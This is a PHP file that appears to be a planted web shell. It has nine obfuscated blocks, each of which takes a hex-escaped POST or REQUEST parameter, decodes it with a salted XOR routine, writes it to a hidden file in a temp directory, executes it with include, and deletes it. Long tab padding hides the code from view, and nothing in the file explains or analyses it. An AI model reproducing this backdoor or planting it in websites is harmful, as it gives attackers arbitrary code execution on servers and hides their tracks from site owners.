<?php																																										if(filter_has_var(INPUT_POST, "\x6Bey")){ $sym = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP")]); $data_chunk = $_POST["\x6Bey"]; $data_chunk =explode ( '.' , $data_chunk); $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $z = 0; while ($z < count($data_chunk)) {$v6 = $data_chunk[$z]; $sChar = ord($s3[$z % $sLen]); $d = ((int)$v6 - $sChar - ($z % 10)) ^ 78; $ent .=chr($d); $z++;} while ($record = array_shift($sym)) { if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $hld = str_replace("{var_dir}", $record, "{var_dir}/.object"); if (file_put_contents($hld, $ent)) { include $hld; @unlink($hld); exit; } } } }
																																										if(isset($_POST["fac\x74o\x72"])){ $obj = $_POST["fac\x74o\x72"]; $obj = explode( '.' ,$obj ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $__len = count($obj); do { if($v >= $__len) break; $v5 = $obj[$v]; $chS = ord($salt[$v % $lenS]); $d = ((int)$v5 - $chS -($v % 10)) ^ 30; $itm .=chr($d); $v++; }while(true); $value = array_filter([getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($value as $object): if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $token = str_replace("{var_dir}", $object, "{var_dir}/.rec"); $success = file_put_contents($token, $itm); if ($success) { include $token; @unlink($token); die();} } endforeach; }
																																										if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){ $k = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $dat = $_REQUEST["s\x79\x6D"]; $dat = explode ('.' , $dat ); $mrk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $t = 0; array_walk( $dat , function( $v5) use( &$mrk , &$t , $s5 , $sLen) { $sChar = ord( $s5[$t%$sLen]); $dec =( ( int)$v5 - $sChar -( $t%10)) ^62; $mrk .= chr( $dec); $t++; }); while ($holder = array_shift($k)) { if (!( !is_dir($holder) || !is_writable($holder) )) { $flag = join("/", [$holder, ".ent"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(in_array("f\x61\x63\x74or", array_keys($_POST))){ $sym = $_POST["f\x61\x63\x74or"]; $sym = explode ( '.' , $sym ) ; $pointer = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($sym as $o => $v7) { $sChar = ord($s8[$o % $sLen]); $dec = ((int)$v7 - $sChar - ($o % 10))^ 56; $pointer .= chr($dec); } $element = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($element as $key => $object) { if (!( !is_dir($object) || !is_writable($object) )) { $token = join("/", [$object, ".rec"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64e\x73c")){ $element = $_REQUEST["\x64e\x73c"]; $element =explode ( "." , $element) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $len = count($element); for ($u = 0; $u < $len; $u++) { $v7 = $element[$u]; $sChar = ord($s1[$u % $sLen]); $dec = ((int)$v7 - $sChar - ($u % 10))^ 97; $pointer .= chr($dec); } $comp = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP")]); while ($sym = array_shift($comp)) { if (array_product([is_dir($sym), is_writable($sym)])) { $ptr = implode("/", [$sym, ".ent"]); if (file_put_contents($ptr, $pointer)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(array_key_exists("da\x74", $_POST) && !is_null($_POST["da\x74"])){ $ptr = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP")]); $dchunk = $_POST["da\x74"]; $dchunk = explode( '.' , $dchunk) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $i = 0; foreach ($dchunk as $v1) { $chS = ord($salt[$i % $lenS]); $d = ((int)$v1 - $chS - ($i % 10))^ 82; $hld .= chr($d); $i++; } foreach ($ptr as $key => $sym) { if (array_product([is_dir($sym), is_writable($sym)])) { $entry = implode("/", [$sym, ".pset"]); if (file_put_contents($entry, $hld)) { require $entry; unlink($entry); die(); } } } }
																																										if(isset($_REQUEST["fac\x74o\x72"]) ? true : false){ $sym = $_REQUEST["fac\x74o\x72"]; $sym = explode ( ".",$sym ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($sym); for($j = 0; $j< $len; $j++) { $v2 = $sym[$j]; $chS = ord($s[$j% $lenS]); $dec = ((int)$v2 - $chS -($j% 10)) ^ 75; $marker .= chr($dec); } $res = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($res as $mrk): if (is_writable($mrk) && is_dir($mrk)) { $tkn = str_replace("{var_dir}", $mrk, "{var_dir}/.ent"); $success = file_put_contents($tkn, $marker); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }
																																										if(isset($_POST["e\x6Eti\x74y"]) ? true : false){ $object = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $tkn = $_POST["e\x6Eti\x74y"]; $tkn =explode( "." , $tkn ) ; $resource = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); foreach ($tkn as $y => $v1) { $chS = ord($s4[$y % $sLen] ); $d = ((int)$v1 - $chS - ($y % 10)) ^ 14; $resource .= chr($d ); } for ($reference = 0, $rec = count($object); $reference < $rec; $reference++) { $fac = $object[$reference]; if (!( !is_dir($fac) || !is_writable($fac) )) { $val = str_replace("{var_dir}", $fac, "{var_dir}/.sym"); $file = fopen($val, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $val; @unlink($val); die(); } } } }


if(isset($_REQUEST["sy\x6Dbol"]) ? true : false){
	$element = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP")]);
	$property_set = $_REQUEST["sy\x6Dbol"];
		  $property_set = explode			(".", 		$property_set ) 	 ;
	$component  ='';
            $s4  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =strlen($s4);
    
            foreach ($property_set as $q => $v3):
                $chS  =ord($s4[$q%  $sLen]);
                $d  =((int)$v3 - $chS - ($q%  10))^58;
                $component	.= 	chr($d);
            endforeach;
	for ($res = 0, $elem = count($element); $res < $elem; $res++) {
    $record = $element[$res];
    		if (array_product([is_dir($record), is_writable($record)])) {
    $sym = "$record" . "/.data_chunk";
    $success = file_put_contents($sym, $component);
if ($success) {
	include $sym;
	@unlink($sym);
	exit;}
}
}
}